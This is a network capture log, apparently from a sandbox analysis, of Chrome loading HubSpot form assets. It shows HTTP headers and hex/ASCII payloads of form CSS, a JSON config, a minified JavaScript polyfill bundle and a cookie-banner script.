2025-01-10 11:04:35 UTC	1369	IN	Data Raw: 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 34 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 34 37 35 62 7d 2e 68 73 2d 72 69 63 68 74 65 78 74 20 68 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 3b 77 69 64 74 68 3a 39 31 25 7d 2e 68 73 2d 63 75 73 74 6f 6d 2d 73 74 79 6c 65 20 2e 68 73 2d 64 65 70 65 6e 64 65 6e 74 2d 66 69 65 6c 64 3e 64 69 76 20 69 6e 70 75 74 2e 68 73 2d 69 6e 70 75 74 3a 6e 6f 74 28 5b 74 79 70 65 3d 63 68 65 63 6b 62 6f 78 5d 29 3a 6e 6f 74 28 5b 74 79 70 65 3d 72 61 64 69 6f 5d 29 7b 77 69 64 74 68 3a 39 30 25 7d 66 6f 72 6d 2e 68 73 2d 66 6f 72 6d 2d 72 74 6c 20 2e 66 69 65 6c 64 7b 66 6c 65 78 3a 30 20 31 20 31 30 30 25 7d Data Ascii: elvetica,Arial,sans-serif;line-height:24px;font-size:14px;color:#33475b}.hs-richtext hr{margin-left:0;width:91%}.hs-custom-style .hs-dependent-field>div input.hs-input:not([type=checkbox]):not([type=radio]){width:90%}form.hs-form-rtl .field{flex:0 1 100%}
2025-01-10 11:04:35 UTC	1280	IN	Data Raw: 72 6d 2d 63 6f 6c 75 6d 6e 73 2d 33 20 2e 68 73 2d 66 6f 72 6d 2d 66 69 65 6c 64 20 2e 68 73 2d 69 6e 70 75 74 2c 2e 65 6d 61 69 6c 2d 76 61 6c 69 64 61 74 69 6f 6e 20 66 6f 72 6d 20 2e 66 6f 72 6d 2d 63 6f 6c 75 6d 6e 73 2d 32 20 2e 68 73 2d 66 6f 72 6d 2d 66 69 65 6c 64 20 2e 68 73 2d 69 6e 70 75 74 2c 2e 65 6d 61 69 6c 2d 76 61 6c 69 64 61 74 69 6f 6e 20 66 6f 72 6d 20 2e 66 6f 72 6d 2d 63 6f 6c 75 6d 6e 73 2d 33 20 2e 68 73 2d 66 6f 72 6d 2d 66 69 65 6c 64 20 2e 68 73 2d 69 6e 70 75 74 7b 77 69 64 74 68 3a 39 30 25 7d 2e 65 6d 61 69 6c 2d 63 6f 72 72 65 63 74 69 6f 6e 20 66 6f 72 6d 20 2e 66 6f 72 6d 2d 63 6f 6c 75 6d 6e 73 2d 32 20 2e 68 73 2d 66 6f 72 6d 2d 66 69 65 6c 64 20 69 6e 70 75 74 5b 74 79 70 65 3d 63 68 65 63 6b 62 6f 78 5d 2c 2e 65 6d 61 Data Ascii: rm-columns-3 .hs-form-field .hs-input,.email-validation form .form-columns-2 .hs-form-field .hs-input,.email-validation form .form-columns-3 .hs-form-field .hs-input{width:90%}.email-correction form .form-columns-2 .hs-form-field input[type=checkbox],.ema
2025-01-10 11:04:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49868	104.16.107.254	443	7088	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 11:04:35 UTC	641	OUT	GET /collected-forms/v1/config/json?portalId=48528028&utk= HTTP/1.1 Host: forms.hscollectedforms.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/plain, / sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://share.hsforms.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://share.hsforms.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 11:04:35 UTC	1188	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 11:04:35 GMT Content-Type: application/json;charset=utf-8 Content-Length: 135 Connection: close vary: Accept-Encoding Cache-Control: max-age=0 x-content-type-options: nosniff x-robots-tag: none access-control-allow-origin: https://share.hsforms.com access-control-allow-methods: GET, OPTIONS, PUT, POST, DELETE, PATCH, HEAD access-control-allow-headers: * access-control-max-age: 180 x-envoy-upstream-service-time: 8 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: e174bb34-b5c3-4372-b6d9-38bff1b8efb7 x-evy-trace-served-by-pod: iad02/app-td/envoy-proxy-856d8787d5-xkq4z x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-request-id: e174bb34-b5c3-4372-b6d9-38bff1b8efb7 CF-Cache-Status: DYNAMIC Set-Cookie: __cf_bm=1jVT.FEXWMxdrhuW5yUSxWvuyw.CaiscST5oAi4PGnM-1736507075-1.0.1.1-ljMruppLmfgHx0IAw1GY.n2utmgjMMw4m8XRIOGJHCri1tiYmMGkLnjiKoJGR4tZSxMZRoHJfbyOA_TBTCkx3g; path=/; expires=Fri, 10-Jan-25 11:34:35 GMT; domain=.hscollectedforms.net; HttpOnly; Secure; SameSite=None Server: cloudflare CF-RAY: 8ffc2fe6fb710fa1-EWR
2025-01-10 11:04:35 UTC	135	IN	Data Raw: 7b 22 70 6f 72 74 61 6c 49 64 22 3a 34 38 35 32 38 30 32 38 2c 22 73 75 62 6d 69 73 73 69 6f 6e 73 41 70 69 44 6f 6d 61 69 6e 22 3a 22 66 6f 72 6d 73 2e 68 75 62 73 70 6f 74 2e 63 6f 6d 22 2c 22 72 65 70 6f 72 74 53 63 72 61 70 65 72 54 65 73 74 22 3a 66 61 6c 73 65 2c 22 66 6f 72 6d 43 61 70 74 75 72 65 45 6e 61 62 6c 65 64 22 3a 74 72 75 65 2c 22 74 6f 6b 65 6e 22 3a 31 38 33 30 34 32 34 34 35 30 7d Data Ascii: {"portalId":48528028,"submissionsApiDomain":"forms.hubspot.com","reportScraperTest":false,"formCaptureEnabled":true,"token":1830424450}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49870	104.16.108.254	443	7088	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 11:04:35 UTC	364	OUT	GET /collectedforms.js HTTP/1.1 Host: js.hscollectedforms.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 11:04:35 UTC	1355	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 11:04:35 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close x-amz-replication-status: COMPLETED last-modified: Tue, 07 Jan 2025 09:36:44 UTC x-amz-server-side-encryption: AES256 x-amz-version-id: uvrInopjoN5gevNwHh934Ck4iPjUIIdV etag: W/"cce97ce600e1081dce3e5e7b5bc08d18" vary: accept-encoding x-cache: Hit from cloudfront via: 1.1 e21fbbed60133ff896ee44224814dc5c.cloudfront.net (CloudFront) x-amz-cf-pop: IAD12-P3 x-amz-cf-id: ODaMib5x5Yes1kUNLcGcEx-81p5-AkFy9T9j8Rwawy8wz7d2P9QuNQ== content-security-policy-report-only: frame-ancestors 'self'; report-uri https://send.hsbrowserreports.com/csp/report?resource=collected-forms-embed-js/static-1.1283/bundles/project.js&cfRay=8fe305fcc8ca6363-IAD Cache-Control: s-maxage=600, max-age=300 x-hs-target-asset: collected-forms-embed-js/static-1.1283/bundles/project.js x-content-type-options: nosniff access-control-allow-origin: * x-hs-cache-status: MISS x-envoy-upstream-service-time: 5 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: a020b801-0182-4ca9-a280-d3ed4cadd6c5 x-evy-trace-served-by-pod: iad02/app-td/envoy-proxy-856d8787d5-fpplf x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all
2025-01-10 11:04:35 UTC	490	IN	Data Raw: 78 2d 72 65 71 75 65 73 74 2d 69 64 3a 20 61 30 32 30 62 38 30 31 2d 30 31 38 32 2d 34 63 61 39 2d 61 32 38 30 2d 64 33 65 64 34 63 61 64 64 36 63 35 0d 0a 63 61 63 68 65 2d 74 61 67 3a 20 73 74 61 74 69 63 6a 73 61 70 70 2d 63 6f 6c 6c 65 63 74 65 64 2d 66 6f 72 6d 73 2d 65 6d 62 65 64 2d 6a 73 2d 77 65 62 2d 70 72 6f 64 2c 73 74 61 74 69 63 6a 73 61 70 70 2d 70 72 6f 64 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 48 49 54 0d 0a 41 67 65 3a 20 33 39 33 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 5f 63 66 5f 62 6d 3d 4f 5f 4e 50 4e 34 42 74 67 36 50 64 58 33 70 58 6d 61 56 4e 4b 46 6f 57 65 2e 5a 6d 67 58 4f 6d 6d 4d 78 58 43 45 48 6d 65 48 30 2d 31 37 33 36 35 30 37 30 37 35 2d 31 2e 30 2e 31 2e 31 2d 4e 4f 33 52 33 4e 64 73 50 62 76 6f 54 Data Ascii: x-request-id: a020b801-0182-4ca9-a280-d3ed4cadd6c5cache-tag: staticjsapp-collected-forms-embed-js-web-prod,staticjsapp-prodCF-Cache-Status: HITAge: 393Set-Cookie: __cf_bm=O_NPN4Btg6PdX3pXmaVNKFoWe.ZmgXOmmMxXCEHmeH0-1736507075-1.0.1.1-NO3R3NdsPbvoT
2025-01-10 11:04:35 UTC	1369	IN	Data Raw: 37 66 66 39 0d 0a 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 70 72 6f 6a 65 63 74 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 74 3d 7b 7d 2e 74 6f 53 74 72 69 6e 67 2c 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 2e 63 61 6c 6c 28 65 29 2e 73 6c 69 63 65 28 38 2c 2d 31 29 7d 2c 72 3d 41 72 72 61 79 2e 69 73 41 72 72 61 79 7c 7c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 22 41 72 72 61 79 22 3d 3d 65 28 74 29 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 74 3f 6e 75 6c 6c 21 3d 3d 74 Data Ascii: 7ff9/! For license information please see project.js.LICENSE.txt /!function(){"use strict";var t={}.toString,e=function(e){return t.call(e).slice(8,-1)},r=Array.isArray\|\|function(t){return"Array"==e(t)},n=function(t){return"object"==typeof t?null!==t
2025-01-10 11:04:35 UTC	1369	IN	Data Raw: 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 2c 53 3d 7b 66 3a 68 3f 77 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 76 28 74 29 3b 65 3d 64 28 65 2c 21 30 29 3b 76 28 72 29 3b 69 66 28 79 29 74 72 79 7b 72 65 74 75 72 6e 20 77 28 74 2c 65 2c 72 29 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 67 65 74 22 69 6e 20 72 7c 7c 22 73 65 74 22 69 6e 20 72 29 74 68 72 6f 77 20 54 79 70 65 45 72 72 6f 72 28 22 41 63 63 65 73 73 6f 72 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 22 29 3b 22 76 61 6c 75 65 22 69 6e 20 72 26 26 28 74 5b 65 5d 3d 72 2e 76 61 6c 75 65 29 3b 72 65 74 75 72 6e 20 74 7d 7d 2c 45 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 21 28 31 26 74 29 2c 63 6f 6e 66 69 67 75 72 61 62 Data Ascii: ct.defineProperty,S={f:h?w:function(t,e,r){v(t);e=d(e,!0);v(r);if(y)try{return w(t,e,r)}catch(t){}if("get"in r\|\|"set"in r)throw TypeError("Accessors not supported");"value"in r&&(t[e]=r.value);return t}},E=function(t,e){return{enumerable:!(1&t),configurab
2025-01-10 11:04:35 UTC	1369	IN	Data Raw: 6e 28 29 7b 76 61 72 20 65 3d 5b 5d 3b 28 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 7b 7d 29 5b 24 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 7b 66 6f 6f 3a 31 7d 7d 3b 72 65 74 75 72 6e 20 31 21 3d 3d 65 5b 74 5d 28 42 6f 6f 6c 65 61 6e 29 2e 66 6f 6f 7d 29 29 7d 2c 56 3d 7b 7d 2e 70 72 6f 70 65 72 74 79 49 73 45 6e 75 6d 65 72 61 62 6c 65 2c 7a 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 2c 51 3d 7b 66 3a 7a 26 26 21 56 2e 63 61 6c 6c 28 7b 31 3a 32 7d 2c 31 29 3f 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 7a 28 74 68 69 73 2c 74 29 3b 72 65 74 75 72 6e 21 21 65 26 26 65 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 3a 56 7d 2c 48 3d 22 22 2e 73 70 6c 69 74 2c 47 3d 66 28 28 66 75 6e 63 Data Ascii: n(){var e=[];(e.constructor={})[$]=function(){return{foo:1}};return 1!==e[t](Boolean).foo}))},V={}.propertyIsEnumerable,z=Object.getOwnPropertyDescriptor,Q={f:z&&!V.call({1:2},1)?function(t){var e=z(this,t);return!!e&&e.enumerable}:V},H="".split,G=f((func
2025-01-10 11:04:35 UTC	1369	IN	Data Raw: 66 6f 72 63 65 2c 68 74 2e 67 65 74 74 65 72 46 6f 72 2c 4f 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 68 74 2e 67 65 74 2c 72 3d 68 74 2e 65 6e 66 6f 72 63 65 2c 6e 3d 53 74 72 69 6e 67 28 5a 29 2e 73 70 6c 69 74 28 22 74 6f 53 74 72 69 6e 67 22 29 3b 4e 28 22 69 6e 73 70 65 63 74 53 6f 75 72 63 65 22 2c 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 5a 2e 63 61 6c 6c 28 74 29 7d 29 29 3b 28 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 69 2c 6f 29 7b 76 61 72 20 73 3d 21 21 6f 26 26 21 21 6f 2e 75 6e 73 61 66 65 2c 61 3d 21 21 6f 26 26 21 21 6f 2e 65 6e 75 6d 65 72 61 62 6c 65 2c 75 3d 21 21 6f 26 26 21 21 6f 2e 6e 6f 54 61 72 67 65 74 47 65 74 3b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 Data Ascii: force,ht.getterFor,O((function(t){var e=ht.get,r=ht.enforce,n=String(Z).split("toString");N("inspectSource",(function(t){return Z.call(t)}));(t.exports=function(t,e,i,o){var s=!!o&&!!o.unsafe,a=!!o&&!!o.enumerable,u=!!o&&!!o.noTargetGet;if("function"==typ
2025-01-10 11:04:35 UTC	1369	IN	Data Raw: 68 3b 6f 2b 2b 29 7b 76 61 72 20 73 3d 72 5b 6f 5d 3b 4a 28 74 2c 73 29 7c 7c 6e 28 74 2c 73 2c 69 28 65 2c 73 29 29 7d 7d 2c 78 74 3d 2f 23 7c 5c 2e 70 72 6f 74 6f 74 79 70 65 5c 2e 2f 2c 43 74 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 72 3d 4c 74 5b 6a 74 28 74 29 5d 3b 72 65 74 75 72 6e 20 72 3d 3d 49 74 7c 7c 72 21 3d 4e 74 26 26 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 3f 66 28 65 29 3a 21 21 65 29 7d 2c 6a 74 3d 43 74 2e 6e 6f 72 6d 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 53 74 72 69 6e 67 28 74 29 2e 72 65 70 6c 61 63 65 28 78 74 2c 22 2e 22 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 2c 4c 74 3d 43 74 2e 64 61 74 61 3d 7b 7d 2c 4e 74 3d 43 74 2e 4e 41 54 49 56 45 3d 22 4e Data Ascii: h;o++){var s=r[o];J(t,s)\|\|n(t,s,i(e,s))}},xt=/#\|\.prototype\./,Ct=function(t,e){var r=Lt[jt(t)];return r==It\|\|r!=Nt&&("function"==typeof e?f(e):!!e)},jt=Ct.normalize=function(t){return String(t).replace(xt,".").toLowerCase()},Lt=Ct.data={},Nt=Ct.NATIVE="N
2025-01-10 11:04:35 UTC	1369	IN	Data Raw: 62 6a 65 63 74 28 74 29 2c 71 74 29 29 3f 6e 3a 56 74 3f 65 28 72 29 3a 22 4f 62 6a 65 63 74 22 3d 3d 28 69 3d 65 28 72 29 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 2e 63 61 6c 6c 65 65 3f 22 41 72 67 75 6d 65 6e 74 73 22 3a 69 7d 2c 48 74 3d 7b 7d 3b 48 74 5b 42 28 22 74 6f 53 74 72 69 6e 67 54 61 67 22 29 5d 3d 22 7a 22 3b 76 61 72 20 47 74 3d 22 5b 6f 62 6a 65 63 74 20 7a 5d 22 21 3d 3d 53 74 72 69 6e 67 28 48 74 29 3f 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 5b 6f 62 6a 65 63 74 20 22 2b 51 74 28 74 68 69 73 29 2b 22 5d 22 7d 3a 48 74 2e 74 6f 53 74 72 69 6e 67 2c 57 74 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 3b 47 74 21 3d 3d 57 74 2e 74 6f 53 74 72 69 6e 67 26 26 70 74 28 57 74 2c 22 74 6f 53 74 72 Data Ascii: bject(t),qt))?n:Vt?e(r):"Object"==(i=e(r))&&"function"==typeof r.callee?"Arguments":i},Ht={};Ht[B("toStringTag")]="z";var Gt="[object z]"!==String(Ht)?function(){return"[object "+Qt(this)+"]"}:Ht.toString,Wt=Object.prototype;Gt!==Wt.toString&&pt(Wt,"toStr
2025-01-10 11:04:35 UTC	1369	IN	Data Raw: 74 79 4e 61 6d 65 73 3f 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 4e 61 6d 65 73 28 77 69 6e 64 6f 77 29 3a 5b 5d 2c 6d 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 66 65 28 74 29 7d 63 61 74 63 68 28 74 29 7b 72 65 74 75 72 6e 20 70 65 2e 73 6c 69 63 65 28 29 7d 7d 2c 62 65 3d 7b 66 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 70 65 26 26 22 5b 6f 62 6a 65 63 74 20 57 69 6e 64 6f 77 5d 22 3d 3d 68 65 2e 63 61 6c 6c 28 74 29 3f 6d 65 28 74 29 3a 66 65 28 57 28 74 29 29 7d 7d 2c 67 65 3d 6e 74 28 22 68 69 64 64 65 6e 22 29 2c 79 65 3d 22 53 79 6d 62 6f 6c 22 2c 76 65 3d 68 74 2e 73 65 74 2c 77 65 3d 68 74 2e 67 65 74 74 65 72 46 6f 72 28 79 65 29 2c 53 65 3d 58 2e 66 2c 45 65 3d 53 2e 66 2c Data Ascii: tyNames?Object.getOwnPropertyNames(window):[],me=function(t){try{return fe(t)}catch(t){return pe.slice()}},be={f:function(t){return pe&&"[object Window]"==he.call(t)?me(t):fe(W(t))}},ge=nt("hidden"),ye="Symbol",ve=ht.set,we=ht.getterFor(ye),Se=X.f,Ee=S.f,
2025-01-10 11:04:35 UTC	1369	IN	Data Raw: 2c 74 29 7c 7c 4a 28 74 68 69 73 2c 67 65 29 26 26 74 68 69 73 5b 67 65 5d 5b 74 5d 29 7c 7c 65 29 7d 2c 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 74 3d 57 28 74 29 3b 65 3d 64 28 65 2c 21 30 29 3b 69 66 28 74 21 3d 3d 50 65 7c 7c 21 4a 28 4e 65 2c 65 29 7c 7c 4a 28 49 65 2c 65 29 29 7b 76 61 72 20 72 3d 53 65 28 74 2c 65 29 3b 21 72 7c 7c 21 4a 28 4e 65 2c 65 29 7c 7c 4a 28 74 2c 67 65 29 26 26 74 5b 67 65 5d 5b 65 5d 7c 7c 28 72 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 21 30 29 3b 72 65 74 75 72 6e 20 72 7d 7d 2c 51 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 2c 72 3d 54 65 28 57 28 74 29 29 2c 6e 3d 5b 5d 2c 69 3d 30 3b 72 2e 6c 65 6e 67 74 68 3e 69 3b 29 4a 28 4e 65 2c 65 3d 72 5b 69 2b 2b 5d 29 7c 7c 4a 28 69 74 2c 65 29 Data Ascii: ,t)\|\|J(this,ge)&&this[ge][t])\|\|e)},ze=function(t,e){t=W(t);e=d(e,!0);if(t!==Pe\|\|!J(Ne,e)\|\|J(Ie,e)){var r=Se(t,e);!r\|\|!J(Ne,e)\|\|J(t,ge)&&t[ge][e]\|\|(r.enumerable=!0);return r}},Qe=function(t){for(var e,r=Te(W(t)),n=[],i=0;r.length>i;)J(Ne,e=r[i++])\|\|J(it,e)
2025-01-10 11:04:35 UTC	1369	IN	Data Raw: 30 2c 66 6f 72 63 65 64 3a 21 6b 2c 73 68 61 6d 3a 21 68 7d 2c 7b 63 72 65 61 74 65 3a 71 65 2c 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3a 44 65 2c 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 3a 24 65 2c 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 3a 7a 65 7d 29 3b 6b 74 28 7b 74 61 72 67 65 74 3a 22 4f 62 6a 65 63 74 22 2c 73 74 61 74 3a 21 30 2c 66 6f 72 63 65 64 3a 21 6b 7d 2c 7b 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 4e 61 6d 65 73 3a 51 65 2c 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 3a 48 65 7d 29 3b 41 65 26 26 6b 74 28 7b 74 61 72 67 65 74 3a 22 4a 53 4f 4e 22 2c 73 74 61 74 3a 21 30 2c 66 6f 72 63 65 64 3a 21 6b 7c 7c 66 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 4f 65 28 29 Data Ascii: 0,forced:!k,sham:!h},{create:qe,defineProperty:De,defineProperties:$e,getOwnPropertyDescriptor:ze});kt({target:"Object",stat:!0,forced:!k},{getOwnPropertyNames:Qe,getOwnPropertySymbols:He});Ae&&kt({target:"JSON",stat:!0,forced:!k\|\|f((function(){var t=Oe()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49871	172.64.147.16	443	7088	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 11:04:35 UTC	528	OUT	GET /v2/48528028/banner.js HTTP/1.1 Host: js.hs-banner.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=9jdTdpv.sSm7i5egUSTNifzD4QuN123OaARHNNwsetY-1736507074-1.0.1.1-3uIqTSYHcBj0AkONZozSbZaCtM4M34rsOFGLGcL5ufi3h.8RTVIvGx_aK5DlzF.vDkBjTgWWR2h0DdjMzxMmww
2025-01-10 11:04:35 UTC	1334	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 11:04:35 GMT Content-Type: text/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-amz-id-2: D2JvmC9IQ66MNCSvjxMN6ySu1AFB5EUHoBFIq4DM0AEoJUxv6dtek32Jyk75wrZI/71T0wdkUOM= x-amz-request-id: XJHC5TPT6ETW214D last-modified: Mon, 06 Jan 2025 09:21:00 GMT etag: W/"b4baf08732a6bf9bf95a9d42b26dce28" x-amz-server-side-encryption: AES256 Cache-Control: max-age=300,public x-amz-version-id: qHavFL1N.XFmWquI3LRGELf2g7I3vSLq access-control-allow-origin: https://share.hsforms.com access-control-allow-methods: GET, OPTIONS, PUT, POST, DELETE, PATCH, HEAD access-control-allow-headers: Origin, X-Requested-With, Content-Type, Accept, Accept-Charset, Accept-Encoding, X-Override-Internal-Permissions, X-Properties-Source, X-Properties-SourceId, X-Properties-Flag, X-Hubspot-User-Id, X-Hubspot-Trace, X-Hubspot-Callee, X-Hubspot-Offset, X-Hubspot-No-Trace, X-HubSpot-Static-App-Info, X-HubSpot-Messages-Uri, X-HubSpot-Request-Source, X-HubSpot-Request-Reason, Subscription-Billing-Auth-Token, X-App-CSRF, X-Tools-CSRF, Online-Payment-Signing-UUID, X-Source, X-SourceId, X-Origin-UserId, X-Biden-Request-Source, X-HubSpot-CSRF-hubspotapi, X-Force-Cookie-Refresh, X-Force-Cookie-Refresh-No-Cache, X-HS-User-Request, X-Application-Id, X-HS-Referer, X-HubSpot-Correlation-Id
2025-01-10 11:04:35 UTC	761	IN	Data Raw: 61 63 63 65 73 73 2d 63 6f 6e 74 72 6f 6c 2d 65 78 70 6f 73 65 2d 68 65 61 64 65 72 73 3a 20 78 2d 6c 61 73 74 2d 6d 6f 64 69 66 69 65 64 2d 74 69 6d 65 73 74 61 6d 70 2c 20 58 2d 48 75 62 53 70 6f 74 2d 4e 6f 74 46 6f 75 6e 64 2c 20 58 2d 48 53 2d 55 73 65 72 2d 52 65 71 75 65 73 74 2c 20 4c 69 6e 6b 2c 20 53 65 72 76 65 72 2d 54 69 6d 69 6e 67 0d 0a 61 63 63 65 73 73 2d 63 6f 6e 74 72 6f 6c 2d 61 6c 6c 6f 77 2d 63 72 65 64 65 6e 74 69 61 6c 73 3a 20 74 72 75 65 0d 0a 61 63 63 65 73 73 2d 63 6f 6e 74 72 6f 6c 2d 6d 61 78 2d 61 67 65 3a 20 36 30 34 38 30 30 0d 0a 74 69 6d 69 6e 67 2d 61 6c 6c 6f 77 2d 6f 72 69 67 69 6e 3a 20 2a 0d 0a 76 61 72 79 3a 20 6f 72 69 67 69 6e 0d 0a 65 78 70 69 72 65 73 3a 20 46 72 69 2c 20 31 30 20 4a 61 6e 20 32 30 32 35 20 31 Data Ascii: access-control-expose-headers: x-last-modified-timestamp, X-HubSpot-NotFound, X-HS-User-Request, Link, Server-Timingaccess-control-allow-credentials: trueaccess-control-max-age: 604800timing-allow-origin: *vary: originexpires: Fri, 10 Jan 2025 1
2025-01-10 11:04:35 UTC	1369	IN	Data Raw: 37 66 66 39 0d 0a 76 61 72 20 5f 68 73 70 20 3d 20 77 69 6e 64 6f 77 5b 27 5f 68 73 70 27 5d 20 3d 20 77 69 6e 64 6f 77 5b 27 5f 68 73 70 27 5d 20 7c 7c 20 5b 5d 3b 0a 5f 68 73 70 2e 70 75 73 68 28 5b 27 73 65 74 42 61 6e 6e 65 72 53 65 74 74 69 6e 67 73 27 2c 20 7b 7d 5d 29 3b 0a 5f 68 73 70 2e 70 75 73 68 28 5b 27 73 65 74 43 75 73 74 6f 6d 69 7a 61 74 69 6f 6e 53 65 74 74 69 6e 67 73 27 2c 20 7b 7d 5d 29 3b 0a 5f 68 73 70 2e 70 75 73 68 28 5b 27 61 64 64 43 6f 6f 6b 69 65 44 6f 6d 61 69 6e 27 2c 20 27 2e 68 73 66 6f 72 6d 73 2e 63 6f 6d 27 5d 29 3b 0a 5f 68 73 70 2e 70 75 73 68 28 5b 27 61 64 64 43 6f 6f 6b 69 65 44 6f 6d 61 69 6e 27 2c 20 27 2e 68 73 2d 73 69 74 65 73 2e 63 6f 6d 27 5d 29 3b 0a 5f 68 73 70 2e 70 75 73 68 28 5b 27 61 64 64 43 6f 6f 6b Data Ascii: 7ff9var _hsp = window['_hsp'] = window['_hsp'] \|\| [];_hsp.push(['setBannerSettings', {}]);_hsp.push(['setCustomizationSettings', {}]);_hsp.push(['addCookieDomain', '.hsforms.com']);_hsp.push(['addCookieDomain', '.hs-sites.com']);_hsp.push(['addCook
